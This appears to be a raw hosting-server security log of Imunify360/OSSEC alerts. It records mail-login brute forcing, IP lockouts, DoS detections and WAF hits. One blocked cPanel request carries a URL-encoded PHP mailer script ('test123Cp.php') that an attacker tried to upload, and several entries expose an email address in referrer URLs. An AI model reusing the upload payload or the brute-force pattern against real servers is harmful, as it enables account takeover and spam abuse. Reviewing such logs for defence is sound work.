IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/plateforme-automatisee-des-postes-de-peages-pour-un-franchissement-fluide/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [23/Jun/2026:18:02:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10142563&pdata=https%253A%252F%252Fvitrinenews.tg%252Fweb%252F%252523karyn.manifold%2540benefitrecovery.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782237739 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/web/%23karyn.manifold@benefitrecovery.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [23/Jun/2026:18:02:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791081&pdata=https%253A%252F%252Fvitrinenews.tg%252Fweb%252F%252523karyn.manifold%2540benefitrecovery.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782237749 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/web/%23karyn.manifold@benefitrecovery.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.9.35.84
country_id: 1643084
description:
[2026-06-23 18:03:38 +0000] info [cpaneld] 182.9.35.84 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.93.138
country_id: 2635167
description:
[2026-06-23 18:07:24 +0000] info [cpaneld] 217.181.93.138 - yydrdvav "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:07:58 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:08:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:54212: 535 Incorrect authentication data (set_id=huangwei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:08:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:25578: 535 Incorrect authentication data (set_id=norman)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:08:11 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:07:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:07:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:58638: 535 Incorrect authentication data (set_id=lacie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:08:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:59158: 535 Incorrect authentication data (set_id=us-west-1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:08:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57106: 535 Incorrect authentication data (set_id=trio)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:08:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26072: 535 Incorrect authentication data (set_id=nz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:08:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43160: 535 Incorrect authentication data (set_id=tre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:08:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37420: 535 Incorrect authentication data (set_id=stock)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:08:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:08:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:34110: 535 Incorrect authentication data (set_id=sonicwall)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:08:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:08:54 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:08:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:08:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7438: 535 Incorrect authentication data (set_id=trio)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:08:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:3818: 535 Incorrect authentication data (set_id=hoermann-klon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:08:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62394: 535 Incorrect authentication data (set_id=nz)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:09:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:09:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:09:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5912: 535 Incorrect authentication data (set_id=barcode)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:09:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:09:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12238: 535 Incorrect authentication data (set_id=admin3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:09:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:24002: 535 Incorrect authentication data (set_id=hamlet)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:09:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12920: 535 Incorrect authentication data (set_id=kalender)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:09:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:9728: 535 Incorrect authentication data (set_id=olympic)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:09:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10978: 535 Incorrect authentication data (set_id=fb-canvas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:09:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:10:00 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:10:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:11:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:26282: 535 Incorrect authentication data (set_id=karen21)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:10:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.41.4
country_id: 1835841
description:
Jun 23 18:11:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.41.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:10:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:45670: 535 Incorrect authentication data (set_id=access)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:10:33 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:10:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:64304: 535 Incorrect authentication data (set_id=analysis)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:10:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16570: 535 Incorrect authentication data (set_id=vishnu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:10:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:64240: 535 Incorrect authentication data (set_id=tour)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:10:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14638: 535 Incorrect authentication data (set_id=chatbot)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:10:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:10:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51350: 535 Incorrect authentication data (set_id=koka)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 83.141.240.172
country_id: 3017382
description:
83.141.240.172 - - [23/Jun/2026:18:10:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645451&pdata=https%253A%252F%252Fwww.togosem.com%252Fcategory%252Fcasino-onlina-ca%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782238236 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/category/casino-onlina-ca/page/3/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:83.141.240.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:10:41 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:10:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 78.47.149.69
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 78.47.149.69: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:11:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:11:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40386: 535 Incorrect authentication data (set_id=samples)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [23/Jun/2026:18:11:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7366249&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782238294 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:11:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23176: 535 Incorrect authentication data (set_id=asc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:11:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:56430: 535 Incorrect authentication data (set_id=rma)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:11:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:11:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [23/Jun/2026:18:11:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261918&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782238293 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:11:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:12:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:28542: 535 Incorrect authentication data (set_id=ctcheng)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 78.47.119.252
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 78.47.119.252: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:11:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:11:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:11:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39738: 535 Incorrect authentication data (set_id=hernan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:11:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:65446: 535 Incorrect authentication data (set_id=n3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:12:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41038: 535 Incorrect authentication data (set_id=chu-tin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:12:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:51632: 535 Incorrect authentication data (set_id=yamashita)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:12:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:12:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:12:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3300: 535 Incorrect authentication data (set_id=antonia)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:12:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:12:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:12:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:12:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:12:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31704: 535 Incorrect authentication data (set_id=zhaowei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:12:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37790: 535 Incorrect authentication data (set_id=avp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:12:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1376: 535 Incorrect authentication data (set_id=puzzle)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:13:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:13:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:32724: 535 Incorrect authentication data (set_id=rutendor)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.153.202.50
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-le-fonds-africain-de-developpement-apporte-pres-de-4-millions-deuros-pour-jeter-les-bases-de-mini-reseaux-electriques-dans-317-localites-du-pays HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:13:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:13:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:13:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:46898: 535 Incorrect authentication data (set_id=newtag)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:13:35 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:13:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:12482: 535 Incorrect authentication data (set_id=vod)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:13:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:13:37 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:13:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:31882: 535 Incorrect authentication data (set_id=ta5-master-ios)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:13:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15128: 535 Incorrect authentication data (set_id=nurul)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:13:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19466: 535 Incorrect authentication data (set_id=miyakawa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 18:14:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 18:14:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 18:14:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 18:14:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 18:14:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8638: 535 Incorrect authentication data (set_id=mellosport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:14:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32426: 535 Incorrect authentication data (set_id=probe)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 18:14:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 18:14:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:38736: 535 Incorrect authentication data (set_id=vildan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 18:14:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22150: 535 Incorrect authentication data (set_id=krummholz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 18:14:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:3502: 535 Incorrect authentication data (set_id=student08)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 18:14:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:59936: 535 Incorrect authentication data (set_id=fo)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 18:14:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35282: 535 Incorrect authentication data (set_id=dakota)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 18:14:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
